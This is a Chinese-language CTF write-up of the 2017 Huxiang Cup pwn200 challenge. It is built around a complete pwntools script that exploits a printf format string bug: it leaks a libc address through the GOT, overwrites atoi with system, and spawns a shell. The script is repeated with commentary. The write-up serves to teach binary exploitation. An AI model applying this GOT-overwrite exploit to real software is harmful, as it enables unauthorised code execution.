本文是格式化字符串漏洞的利用,题目为2017年湖湘杯pwn200,题目文件
链接:https://pan.baidu.com/s/1geZAemZ密码:b51f
0x0001
看文件类型为elf文件,用 binwalk 查看一下:
一个32位的文件,用IDA看看:
main函数:
sub_80485CD():
这里可以大致知道这个程序干了什么,实际运行看一下,确实如我们所想的那样:
从 sub_80485CD() 这个函数中,我们可以发现 printf 的参数是直接将输入的数据传了过去,那么这样必然导致存在格式化字符串漏洞
0x0002
pwntools中提供了方便的格式化字符串漏洞利用脚本,这里直接使用它们,上脚本,我也是刚接触不久,看了几个大佬的脚本,有些跑不出来shell,有些省略了前面的一些关键步骤,我把它们的融合到一起直接跑了就能够拿到 shell,这里是我的脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('pwne')
libc = elf.libc
#raw_input("\n[****start****]")
r = process('/root/pwne')
def exec_fmt(payload):
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload)
info = r.recv().splitlines()[1]
print "info:"+info
r.sendline('10')
#r.close()
return info
autofmt = FmtStr(exec_fmt)
r.close()
p = process(elf.path)
def exploit(name, age='20'):
p.sendlineafter('WANT PLAY[Y/N]\n', 'Y')
p.sendlineafter('GET YOUR NAME:\n\n', name)
p.recvuntil('WELCOME \n')
content = p.recvuntil('GET YOUR ', drop=True)
p.sendafter('AGE:\n\n', age)
return content
offset = autofmt.offset #offset=7
tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf']))
#print ("printf:----------",hex(elf.got['printf']))
#print ("tmp :----------",tmp)
libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf']
#print ("libc_base :----------",hex(libc_base))
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])))
system = libc_base + libc.symbols['system']
exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00')
p.interactive()
直接用脚本跑一下就可以出拿到 shell :
0x0003
接下来分析一下脚本:
r = process('/root/pwne')
def exec_fmt(payload):
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload)
info = r.recv().splitlines()[1]
print "info:"+info
r.sendline('10')
#r.close()
return info
autofmt = FmtStr(exec_fmt)
r.close()
这一段通过执行这个文件,和程序进行交互,获取相关信息,最后一步是关键
autofmt = FmtStr(exec_fmt)
这一步提供自动化的利用,可以看看上面的脚本跑出来的信息,FmtStr() 这个函数构造payload,通过一次次的尝试确定了参数的位置(偏移地址),在第七次的时候,找到了format的偏移地址:
偏移地址为 offset=7 ,即 autofmt.offset = 7 ,
p = process(elf.path)
def exploit(name, age='20'):
p.sendlineafter('WANT PLAY[Y/N]\n', 'Y')
p.sendlineafter('GET YOUR NAME:\n\n', name)
p.recvuntil('WELCOME \n')
content = p.recvuntil('GET YOUR ', drop=True)
p.sendafter('AGE:\n\n', age)
return content
offset = autofmt.offset #offset=7
tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#调用exploit函数泄漏printf函数的实际地址
#print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf']))
#print ("printf:----------",hex(elf.got['printf']))
#print ("tmp :----------",tmp)
libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf']
#计算出libc加载起来的基地址,基地址加上printf函数在libc中的相对偏移地址得到的就是实际地址,这样可以算出实际地址
#print ("libc_base :----------",hex(libc_base))
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])))
system = libc_base + libc.symbols['system']
#libc的基地址加上system的偏移地址就是system的实际地址
exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00')
#这一步利用 fmtstr_payload(offset, {elf.got['atoi']:system}) 这一自动利用工具直接将atoi的got表中的地址修改为system的地址
p.interactive() #python shell进行交互